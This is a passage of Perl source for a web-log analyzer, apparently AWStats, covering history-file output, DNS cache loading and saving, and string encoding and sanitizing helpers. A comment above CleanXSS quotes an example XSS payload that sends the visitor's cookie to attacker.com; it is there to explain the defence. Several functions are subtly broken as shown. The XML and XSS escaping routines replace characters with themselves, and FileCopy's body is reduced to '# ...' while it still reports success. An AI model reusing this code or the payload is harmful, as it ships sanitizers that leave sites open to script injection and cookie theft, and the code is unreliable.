"${xmlrs}" 7287 . int( $_misc_k{$_} || 0 ) 7288 . "${xmlre}\n"; 7289 } 7290 print HISTORYTMP "${xmleb}END_MISC${xmlee}\n"; 7291 } 7292 if ( $sectiontosave eq 'errors' ) { 7293 print HISTORYTMP "\n"; 7294 if ($xml) { 7295 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7296 } 7297 print HISTORYTMP "# Errors - Hits - Bandwidth\n"; 7298 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7299 print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}" 7300 . ( scalar keys %_errors_h ) 7301 . "${xmlbe}\n"; 7302 foreach ( keys %_errors_h ) { 7303 print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}" 7304 . int( $_errors_k{$_} || 0 ) 7305 . "${xmlre}\n"; 7306 } 7307 print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n"; 7308 } 7309 7310 # Other - Trapped errors 7311 foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { 7312 if ( $sectiontosave eq "sider_$code" ) { 7313 print HISTORYTMP "\n"; 7314 if ($xml) { 7315 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7316 } 7317 print HISTORYTMP 7318 "# URL with $code errors - Hits" 7319 . ($ShowHTTPErrorsPageDetail =~ /R/i ? " - Last URL referrer" : '') 7320 . ($ShowHTTPErrorsPageDetail =~ /H/i ? " - Host" : '') 7321 . "\n"; 7322 7323 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7324 print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}" 7325 . ( scalar keys %{$_sider_h{$code}} ) 7326 . "${xmlbe}\n"; 7327 foreach ( keys %{$_sider_h{$code}} ) { 7328 my $newkey = $_; 7329 my $newreferer = $_referer_h{$code}{$_} || ''; 7330 my $newhost = $_err_host_h{$code}{$_} || ''; 7331 print HISTORYTMP "${xmlrb}" 7332 . XMLEncodeForHisto($newkey) 7333 . "${xmlrs}$_sider_h{ $code }{$_}" 7334 . ($ShowHTTPErrorsPageDetail =~ /R/i ? "${xmlrs}" . XMLEncodeForHisto($newreferer) : '') 7335 . ($ShowHTTPErrorsPageDetail =~ /H/i ? "${xmlrs}" . XMLEncodeForHisto($newhost) : '') 7336 . "${xmlre}\n"; 7337 } 7338 print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n"; 7339 } 7340 } 7341 7342 # Other - Extra stats sections 7343 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 7344 if ( $sectiontosave eq "extra_$extranum" ) { 7345 print HISTORYTMP "\n"; 7346 if ($xml) { 7347 print HISTORYTMP 7348"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n"; 7349 } 7350 print HISTORYTMP 7351 "# Extra key - Pages - Hits - Bandwidth - Last access\n"; 7352 print HISTORYTMP 7353 "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; 7354 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7355 print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}" 7356 . scalar( keys %{ '_section_' . $extranum . '_h' } ) 7357 . "${xmlbe}\n"; 7358 &BuildKeyList( 7359 $MaxNbOfExtra[$extranum], 7360 $MinHitExtra[$extranum], 7361 \%{ '_section_' . $extranum . '_h' }, 7362 \%{ '_section_' . $extranum . '_p' } 7363 ); 7364 %keysinkeylist = (); 7365 foreach (@keylist) { 7366 $keysinkeylist{$_} = 1; 7367 my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; 7368 my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; 7369 my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; 7370 print HISTORYTMP "${xmlrb}" 7371 . XMLEncodeForHisto($_) 7372 . "${xmlrs}$page${xmlrs}", 7373 ${ '_section_' . $extranum . '_h' }{$_}, 7374 "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; 7375 next; 7376 } 7377 foreach ( keys %{ '_section_' . $extranum . '_h' } ) { 7378 if ( $keysinkeylist{$_} ) { next; } 7379 my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; 7380 my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; 7381 my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; 7382 print HISTORYTMP "${xmlrb}" 7383 . XMLEncodeForHisto($_) 7384 . "${xmlrs}$page${xmlrs}", 7385 ${ '_section_' . $extranum . '_h' }{$_}, 7386 "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; 7387 next; 7388 } 7389 print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n"; 7390 } 7391 } 7392 7393 # Other - Plugin sections 7394 if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) { 7395 my $pluginname = $1; 7396 if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) { 7397 7398# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)"; 7399# eval("$function"); 7400 my $function = "SectionWriteHistory_$pluginname"; 7401 &$function( 7402 $xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb, 7403 $xmlrs, $xmlre, $xmleb, $xmlee 7404 ); 7405 } 7406 } 7407 7408 %keysinkeylist = (); 7409} 7410 7411#-------------------------------------------------------------------- 7412# Function: Rename all tmp history file into history 7413# Parameters: None 7414# Input: $DirData $PROG $FileSuffix 7415# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone 7416# Output: None 7417# Return: 1 Ok, 0 at least one error (tmp files are removed) 7418#-------------------------------------------------------------------- 7419sub Rename_All_Tmp_History { 7420 my $pid = $$; 7421 my $renameok = 1; 7422 7423 if ($Debug) { 7424 debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)"); 7425 } 7426 7427 opendir( DIR, "$DirData" ); 7428 7429 my $datemask; 7430 if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; } 7431 elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; } 7432 elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; } 7433 elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; } 7434 if ($Debug) { 7435 debug( 7436"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'" 7437 ); 7438 } 7439 7440 my $regfilesuffix = quotemeta($FileSuffix); 7441 foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/, 7442 file_filt sort readdir DIR ) 7443 { 7444 /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/; 7445 if ($renameok) { # No rename error yet 7446 if ($Debug) { 7447 debug( 7448" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt", 7449 1 7450 ); 7451 } 7452 if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" ) 7453 { # Rename tmp files if size > 0 7454 if ($KeepBackupOfHistoricFiles) { 7455 if ( -s "$DirData/$PROG$1$FileSuffix.txt" ) 7456 { # History file already exists. We backup it 7457 if ($Debug) { 7458 debug( 7459" Make a backup of old history file into $PROG$1$FileSuffix.bak before", 7460 1 7461 ); 7462 } 7463 7464#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) { 7465 if ( 7466 rename( 7467 "$DirData/$PROG$1$FileSuffix.txt", 7468 "$DirData/$PROG$1$FileSuffix.bak" 7469 ) == 0 7470 ) 7471 { 7472 warning( 7473"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"." 7474 ); 7475 } 7476 if ($SaveDatabaseFilesWithPermissionsForEveryone) { 7477 chmod 0666, "$DirData/$PROG$1$FileSuffix.bak"; 7478 } 7479 } 7480 else { 7481 if ($Debug) { 7482 debug( " No need to backup old history file", 1 ); 7483 } 7484 } 7485 } 7486 if ( 7487 rename( 7488 "$DirData/$PROG$1$FileSuffix.tmp.$$", 7489 "$DirData/$PROG$1$FileSuffix.txt" 7490 ) == 0 7491 ) 7492 { 7493 $renameok = 7494 0; # At least one error in renaming working files 7495 # Remove tmp file 7496 unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; 7497 warning( 7498"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong" 7499 . ( 7500 $ENV{'GATEWAY_INTERFACE'} 7501 ? " for an 'update from web'" 7502 : "" 7503 ) 7504 . " or file might be opened." 7505 ); 7506 next; 7507 } 7508 if ($SaveDatabaseFilesWithPermissionsForEveryone) { 7509 chmod 0666, "$DirData/$PROG$1$FileSuffix.txt"; 7510 } 7511 } 7512 } 7513 else { # Because of rename error, we remove all remaining tmp files 7514 unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; 7515 } 7516 } 7517 close DIR; 7518 return $renameok; 7519} 7520 7521#------------------------------------------------------------------------------ 7522# Function: Load DNS cache file entries into a memory hash array 7523# Parameters: Hash array ref to load into, 7524# File name to load, 7525# File suffix to use 7526# Save to a second plugin file if not up to date 7527# Input: None 7528# Output: Hash array is loaded 7529# Return: 1 No DNS Cache file found, 0 OK 7530#------------------------------------------------------------------------------ 7531sub Read_DNS_Cache { 7532 my $hashtoload = shift; 7533 my $dnscachefile = shift; 7534 my $filesuffix = shift; 7535 my $savetohash = shift; 7536 7537 my $dnscacheext = ''; 7538 my $filetoload = ''; 7539 my $timetoload = time(); 7540 7541 if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); } 7542 if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } 7543 foreach my $dir ( "$DirData", ".", "" ) { 7544 my $searchdir = $dir; 7545 if ( $searchdir 7546 && ( !( $searchdir =~ /\/$/ ) ) 7547 && ( !( $searchdir =~ /\\$/ ) ) ) 7548 { 7549 $searchdir .= "/"; 7550 } 7551 if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) { 7552 $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext"; 7553 } 7554 7555 # Plugin call : Change filetoload 7556 if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) { 7557 SearchFile_hashfiles( 7558 $searchdir, $dnscachefile, $filesuffix, 7559 $dnscacheext, $filetoload 7560 ); 7561 } 7562 if ($filetoload) { last; } # We found a file to load 7563 } 7564 7565 if ( !$filetoload ) { 7566 if ($Debug) { debug(" No DNS Cache file found"); } 7567 return 1; 7568 } 7569 7570 # Plugin call : Load hashtoload 7571 if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) { 7572 LoadCache_hashfiles( $filetoload, $hashtoload ); 7573 } 7574 if ( !scalar keys %$hashtoload ) { 7575 open( DNSFILE, "$filetoload" ) 7576 or error("Couldn't open DNS Cache file \"$filetoload\": $!"); 7577 7578#binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8 7579# This is a fast way to load with regexp 7580 %$hashtoload = 7581 map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> ); 7582 close DNSFILE; 7583 if ($savetohash) { 7584 7585 # Plugin call : Save hash file (all records) with test if up to date to save 7586 if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { 7587 SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 ); 7588 } 7589 } 7590 } 7591 if ($Debug) { 7592 debug( 7593 " Loaded " 7594 . ( scalar keys %$hashtoload ) 7595 . " items from $filetoload in " 7596 . ( time() - $timetoload ) 7597 . " seconds.", 7598 1 7599 ); 7600 } 7601 return 0; 7602} 7603 7604#------------------------------------------------------------------------------ 7605# Function: Save a memory hash array into a DNS cache file 7606# Parameters: Hash array ref to save, 7607# File name to save, 7608# File suffix to use 7609# Input: None 7610# Output: None 7611# Return: 0 OK, 1 Error 7612#------------------------------------------------------------------------------ 7613sub Save_DNS_Cache_File { 7614 my $hashtosave = shift; 7615 my $dnscachefile = shift; 7616 my $filesuffix = shift; 7617 7618 my $dnscacheext = ''; 7619 my $filetosave = ''; 7620 my $timetosave = time(); 7621 my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE; 7622 my $nbofelemsaved = 0; 7623 7624 if ($Debug) { 7625 debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]"); 7626 } 7627 if ( !scalar keys %$hashtosave ) { 7628 if ($Debug) { debug(" No data to save"); } 7629 return 0; 7630 } 7631 if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } 7632 $filetosave = "$dnscachefile$filesuffix$dnscacheext"; 7633 7634# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date 7635 if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { 7636 SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave, 7637 $nbofelemsaved ); 7638 if ($SaveDatabaseFilesWithPermissionsForEveryone) { 7639 chmod 0666, "$filetosave"; 7640 } 7641 } 7642 if ( !$nbofelemsaved ) { 7643 $filetosave = "$dnscachefile$filesuffix$dnscacheext"; 7644 if ($Debug) { 7645 debug( 7646 " Save data " 7647 . ( 7648 $nbofelemtosave 7649 ? "($nbofelemtosave records max)" 7650 : "(all records)" 7651 ) 7652 . " into file $filetosave" 7653 ); 7654 } 7655 if ( !open( DNSFILE, ">$filetosave" ) ) { 7656 warning( 7657"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!" 7658 ); 7659 return 1; 7660 } 7661 binmode DNSFILE; 7662 my $starttimemin = int( $starttime / 60 ); 7663 foreach my $key ( keys %$hashtosave ) { 7664 7665 #if ($hashtosave->{$key} ne '*') { 7666 my $ipsolved = $hashtosave->{$key}; 7667 print DNSFILE "$starttimemin\t$key\t" 7668 . ( $ipsolved eq 'ip' ? '*' : $ipsolved ) 7669 . "\n"; # Change 'ip' to '*' for backward compatibility 7670 if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; } 7671 7672 #} 7673 } 7674 close DNSFILE; 7675 7676 if ($SaveDatabaseFilesWithPermissionsForEveryone) { 7677 chmod 0666, "$filetosave"; 7678 } 7679 7680 } 7681 if ($Debug) { 7682 debug( 7683 " Saved $nbofelemsaved items into $filetosave in " 7684 . ( time() - $timetosave ) 7685 . " seconds.", 7686 1 7687 ); 7688 } 7689 return 0; 7690} 7691 7692#------------------------------------------------------------------------------ 7693# Function: Return time elapsed since last call in miliseconds 7694# Parameters: 0|1 (0 reset counter, 1 no reset) 7695# Input: None 7696# Output: None 7697# Return: Number of miliseconds elapsed since last call 7698#------------------------------------------------------------------------------ 7699sub GetDelaySinceStart { 7700 if (shift) { $StartSeconds = 0; } # Reset chrono 7701 my ( $newseconds, $newmicroseconds ) = ( time(), 0 ); 7702 7703 # Plugin call : Return seconds and milliseconds 7704 if ( $PluginsLoaded{'GetTime'}{'timehires'} ) { 7705 GetTime_timehires( $newseconds, $newmicroseconds ); 7706 } 7707 if ( !$StartSeconds ) { 7708 $StartSeconds = $newseconds; 7709 $StartMicroseconds = $newmicroseconds; 7710 } 7711 return ( ( $newseconds - $StartSeconds ) * 1000 + 7712 int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) ); 7713} 7714 7715#------------------------------------------------------------------------------ 7716# Function: Reset all variables whose name start with _ because a new month start 7717# Parameters: None 7718# Input: $YearRequired All variables whose name start with _ 7719# Output: All variables whose name start with _ 7720# Return: None 7721#------------------------------------------------------------------------------ 7722sub Init_HashArray { 7723 if ($Debug) { debug("Call to Init_HashArray"); } 7724 7725 # Reset global hash arrays 7726 %FirstTime = %LastTime = (); 7727 %MonthHostsKnown = %MonthHostsUnknown = (); 7728 %MonthVisits = %MonthUnique = (); 7729 %MonthPages = %MonthHits = %MonthBytes = (); 7730 %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = (); 7731 %DayPages = %DayHits = %DayBytes = %DayVisits = (); 7732 7733 # Reset all arrays with name beginning by _ 7734 for ( my $ix = 0 ; $ix < 6 ; $ix++ ) { 7735 $_from_p[$ix] = 0; 7736 $_from_h[$ix] = 0; 7737 } 7738 for ( my $ix = 0 ; $ix < 24 ; $ix++ ) { 7739 $_time_h[$ix] = 0; 7740 $_time_k[$ix] = 0; 7741 $_time_p[$ix] = 0; 7742 $_time_nv_h[$ix] = 0; 7743 $_time_nv_k[$ix] = 0; 7744 $_time_nv_p[$ix] = 0; 7745 } 7746 7747 # Reset all hash arrays with name beginning by _ 7748 %_session = %_browser_h = %_browser_p = (); 7749 %_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = (); 7750 %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = (); 7751 %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = (); 7752 %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = (); 7753 %_keyphrases = %_keywords = %_os_h = %_os_p = %_pagesrefs_p = %_pagesrefs_h = 7754 %_robot_h = %_robot_k = %_robot_l = %_robot_r = (); 7755 %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k = 7756 %_login_l = %_screensize_h = (); 7757 %_misc_p = %_misc_h = %_misc_k = (); 7758 %_cluster_p = %_cluster_h = %_cluster_k = (); 7759 %_se_referrals_p = %_se_referrals_h = %_sider_h = %_referer_h = %_err_host_h = 7760 %_url_p = %_url_k = %_url_e = %_url_x = (); 7761 %_downloads = (); 7762 %_unknownreferer_l = %_unknownrefererbrowser_l = (); 7763 %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k = 7764 %_emailr_l = (); 7765 7766 for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) { 7767 %{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } = 7768 %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } = 7769 %{ '_section_' . $ix . '_p' } = (); 7770 } 7771 foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) 7772 { 7773 7774 # my $function="SectionInitHashArray_$pluginname()"; 7775 # eval("$function"); 7776 my $function = "SectionInitHashArray_$pluginname"; 7777 &$function(); 7778 } 7779} 7780 7781#------------------------------------------------------------------------------ 7782# Function: Change word separators of a keyphrase string into space and 7783# remove bad coded chars 7784# Parameters: stringtodecode 7785# Input: None 7786# Output: None 7787# Return: decodedstring 7788#------------------------------------------------------------------------------ 7789sub ChangeWordSeparatorsIntoSpace { 7790 $_[0] =~ s/%0[ad]/ /ig; # LF CR 7791 $_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + , 7792 $_[0] =~ s/%3a/ /ig; # : 7793 $_[0] =~ 7794 tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list 7795} 7796 7797#------------------------------------------------------------------------------ 7798# Function: Transforms special chars by entities as needed in XML/XHTML 7799# Parameters: stringtoencode 7800# Return: encodedstring 7801#------------------------------------------------------------------------------ 7802sub XMLEncode { 7803 if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) { 7804 return shift; 7805 } 7806 my $string = shift; 7807 $string =~ s/&/&/g; 7808 $string =~ s/</</g; 7809 $string =~ s/>/>/g; 7810 $string =~ s/\"/"/g; 7811 $string =~ s/\'/'/g; 7812 return $string; 7813} 7814 7815#------------------------------------------------------------------------------ 7816# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML 7817# Decoding is done by XMLDecodeFromHisto. 7818# AWStats data files are stored in ISO-8859-1. 7819# Parameters: stringtoencode 7820# Return: encodedstring 7821#------------------------------------------------------------------------------ 7822sub XMLEncodeForHisto { 7823 my $string = shift; 7824 $string =~ s/\s/%20/g; 7825 if ( $BuildHistoryFormat ne 'xml' ) { return $string; } 7826 $string =~ s/=/%3d/g; 7827 $string =~ s/&/&/g; 7828 $string =~ s/</</g; 7829 $string =~ s/>/>/g; 7830 $string =~ s/\"/"/g; 7831 $string =~ s/\'/'/g; 7832 return $string; 7833} 7834 7835#------------------------------------------------------------------------------ 7836# Function: Encode an ISO string to PageCode output 7837# Parameters: stringtoencode 7838# Return: encodedstring 7839#------------------------------------------------------------------------------ 7840sub EncodeToPageCode { 7841 my $string = shift; 7842 if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); } 7843 return $string; 7844} 7845 7846#------------------------------------------------------------------------------ 7847# Function: Encode a binary string into an ASCII string 7848# Parameters: stringtoencode 7849# Return: encodedstring 7850#------------------------------------------------------------------------------ 7851sub EncodeString { 7852 my $string = shift; 7853 7854 # use bytes; 7855 $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg; 7856 7857 # no bytes; 7858 $string =~ tr/ /+/s; 7859 return $string; 7860} 7861 7862#------------------------------------------------------------------------------ 7863# Function: Decode an url encoded text string into a binary string 7864# Parameters: stringtodecode 7865# Input: None 7866# Output: None 7867# Return: decodedstring 7868#------------------------------------------------------------------------------ 7869sub DecodeEncodedString { 7870 my $stringtodecode = shift; 7871 $stringtodecode =~ tr/\+/ /s; 7872 $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg; 7873 $stringtodecode =~ s/["']//g; 7874 7875 return $stringtodecode; 7876} 7877 7878#------------------------------------------------------------------------------ 7879# Function: Similar to DecodeEncodedString, but decode only 7880# RFC3986 "unreserved characters" 7881# Parameters: stringtodecode 7882# Input: None 7883# Output: None 7884# Return: decodedstring 7885#------------------------------------------------------------------------------ 7886sub DecodeRFC3986UnreservedString { 7887 my $stringtodecode = shift; 7888 7889 $stringtodecode =~ s/%([46][1-9A-F]|[57][0-9A]|3[0-9]|2D|2E|5F|7E)/pack("C", hex($1))/ieg; 7890 7891 return $stringtodecode; 7892} 7893 7894#------------------------------------------------------------------------------ 7895# Function: Decode a precompiled regex value to a common regex value 7896# Parameters: compiledregextodecode 7897# Input: None 7898# Output: None 7899# Return: standardregex 7900#------------------------------------------------------------------------------ 7901sub UnCompileRegex { 7902 shift =~ /\(\?[-^\w]*:(.*)\)/; # Works with all perl 7903 # shift =~ /\(\?[-\w]*:(.*)\)/; < perl 5.14 7904 return $1; 7905} 7906 7907#------------------------------------------------------------------------------ 7908# Function: Clean a string of all chars that are not char or _ - \ / . \s 7909# Parameters: stringtoclean, full 7910# Input: None 7911# Output: None 7912# Return: cleanedstring 7913#------------------------------------------------------------------------------ 7914sub Sanitize { 7915 my $stringtoclean = shift; 7916 my $full = shift || 0; 7917 if ($full) { 7918 $stringtoclean =~ s/[^\w\d]//g; 7919 } 7920 else { 7921 $stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g; 7922 } 7923 return $stringtoclean; 7924} 7925 7926#------------------------------------------------------------------------------ 7927# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks' 7928# and clean | char. 7929# A XSS attack is providing an AWStats url with XSS code that is executed 7930# when page loaded by awstats CGI is loaded from AWStats server. Such a code 7931# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script> 7932# This make the browser sending a request to the attacker server that contains 7933# cookie used for AWStats server sessions. Attacker can this way caught this 7934# cookie and used it to go on AWStats server like original visitor. For this 7935# resaon, parameter received by AWStats must be sanitized by this function 7936# before being put inside a web page. 7937# Parameters: stringtoclean 7938# Input: None 7939# Output: None 7940# Return: cleanedstring 7941#------------------------------------------------------------------------------ 7942sub CleanXSS { 7943 my $stringtoclean = shift; 7944 7945 # To avoid html tags and javascript 7946 $stringtoclean =~ s/</</g; 7947 $stringtoclean =~ s/>/>/g; 7948 $stringtoclean =~ s/|//g; 7949 7950 # To avoid onload=" 7951 $stringtoclean =~ s/onload//g; 7952 return $stringtoclean; 7953} 7954 7955#------------------------------------------------------------------------------ 7956# Function: Clean tags in a string 7957# AWStats data files are stored in ISO-8859-1. 7958# Parameters: stringtodecode 7959# Input: None 7960# Output: None 7961# Return: decodedstring 7962#------------------------------------------------------------------------------ 7963sub XMLDecodeFromHisto { 7964 my $stringtoclean = shift; 7965 $stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space 7966 $stringtoclean =~ s/$regclean2//g; # Remove others <xxx> 7967 $stringtoclean =~ s/%3d/=/g; 7968 $stringtoclean =~ s/&/&/g; 7969 $stringtoclean =~ s/</</g; 7970 $stringtoclean =~ s/>/>/g; 7971 $stringtoclean =~ s/"/\"/g; 7972 $stringtoclean =~ s/'/\'/g; 7973 return $stringtoclean; 7974} 7975 7976#------------------------------------------------------------------------------ 7977# Function: Copy one file into another 7978# Parameters: sourcefilename targetfilename 7979# Input: None 7980# Output: None 7981# Return: 0 if copy is ok, 1 else 7982#------------------------------------------------------------------------------ 7983sub FileCopy { 7984 my $filesource = shift; 7985 my $filetarget = shift; 7986 if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); } 7987 open( FILESOURCE, "$filesource" ) || return 1; 7988 open( FILETARGET, ">$filetarget" ) || return 1; 7989 binmode FILESOURCE; 7990 binmode FILETARGET; 7991 7992 # ... 7993 close(FILETARGET); 7994 close(FILESOURCE); 7995 if ($Debug) { debug( " File copied", 1 ); } 7996 return 0; 7997} 7998 7999#------------------------------------------------------------------------------ 8000# Function: Format a QUERY_STRING 8001# Parameters: query 8002# Input: None 8003# Output: None 8004# Return: formatted query 8005#------------------------------------------------------------------------------ 8006# TODO Appeller cette fonction partout ou il y a des NewLinkParams 8007sub CleanNewLinkParamsFrom { 8008 my $NewLinkParams = shift; 8009 while ( my $param = shift ) { 8010 $NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i; 8011 } 8012 $NewLinkParams =~ s/(&|&)+/&/i; 8013 $NewLinkParams =~ s/^&//; 8014 $NewLinkParams =~ s/&$//; 8015 return $NewLinkParams; 8016} 8017 8018#------------------------------------------------------------------------------ 8019# Function: Show flags for other language translations 8020# Parameters: Current languade id (en, fr, ...) 8021# Input: None 8022# Output: None 8023# Return: None 8024#------------------------------------------------------------------------------ 8025sub Show_Flag_Links { 8026 my $CurrentLang = shift; 8027 8028 # Build flags link 8029 my $NewLinkParams = $QueryString; 8030 my $NewLinkTarget = ''; 8031 if ( $ENV{'GATEWAY_INTERFACE'} ) { 8032 $NewLinkParams = 8033 CleanNewLinkParamsFrom( $NewLinkParams, 8034 ( 'update', 'staticlinks', 'framename', 'lang' ) ); 8035 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 8036 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 8037 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 8038 $NewLinkParams =~ s/(^|&|&)lang=[^&]*//i; 8039 $NewLinkParams =~ s/(&|&)+/&/i; 8040 $NewLinkParams =~ s/^&//; 8041 $NewLinkParams =~ s/&$//; 8042 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 8043 8044 if ( $FrameName eq 'mainright' ) { 8045 $NewLinkTarget = " target=\"_parent\""; 8046 } 8047 } 8048 else { 8049 $NewLinkParams = 8050 ( $SiteConfig ? "config=$SiteConfig&" : "" ) 8051 . "year=$YearRequired&month=$MonthRequired&"; 8052 } 8053 if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; } 8054 if ( $FrameName eq 'mainright' ) { 8055 $NewLinkParams .= 'framename=index&'; 8056 } 8057 8058 foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) { 8059 $lng = 8060 $LangBrowserToLangAwstats{$lng} 8061 ? $LangBrowserToLangAwstats{$lng} 8062 : $lng; 8063 if ( $lng ne $CurrentLang ) { 8064 my %lngtitle = ( 8065 'en', 'English', 'fr', 'French', 'de', 'German', 8066 'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish' 8067 ); 8068 my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng ); 8069 my $flag = ( 8070 $LangAWStatsToFlagAwstats{$lng} 8071 ? $LangAWStatsToFlagAwstats{$lng} 8072 : $lng 8073 ); 8074 print "<a href=\"" 8075 . XMLEncode("$AWScript${NewLinkParams}lang=$lng") 8076 . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\"" 8077 . AltTitle("$lngtitle") 8078 . " /></a> \n"; 8079 } 8080 } 8081} 8082 8083#------------------------------------------------------------------------------ 8084# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb) 8085# Parameters: bytes (integer value or "0.00") 8086# Input: None 8087# Output: None 8088# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0" 8089#------------------------------------------------------------------------------ 8090sub Format_Bytes { 8091 my $bytes = shift || 0; 8092 my $fudge = 1; 8093 8094# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions 8095 if ( $bytes >= ( $fudge << 40 ) ) { 8096 return sprintf( "%.2f", $bytes / 1099511627776 ) . " $Message[179]"; 8097 } 8098 if ( $bytes >= ( $fudge << 30 ) ) { 8099 return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]"; 8100 } 8101 if ( $bytes >= ( $fudge << 20 ) ) { 8102 return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]"; 8103 } 8104 if ( $bytes >= ( $fudge << 10 ) ) { 8105 return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]"; 8106 } 8107 if 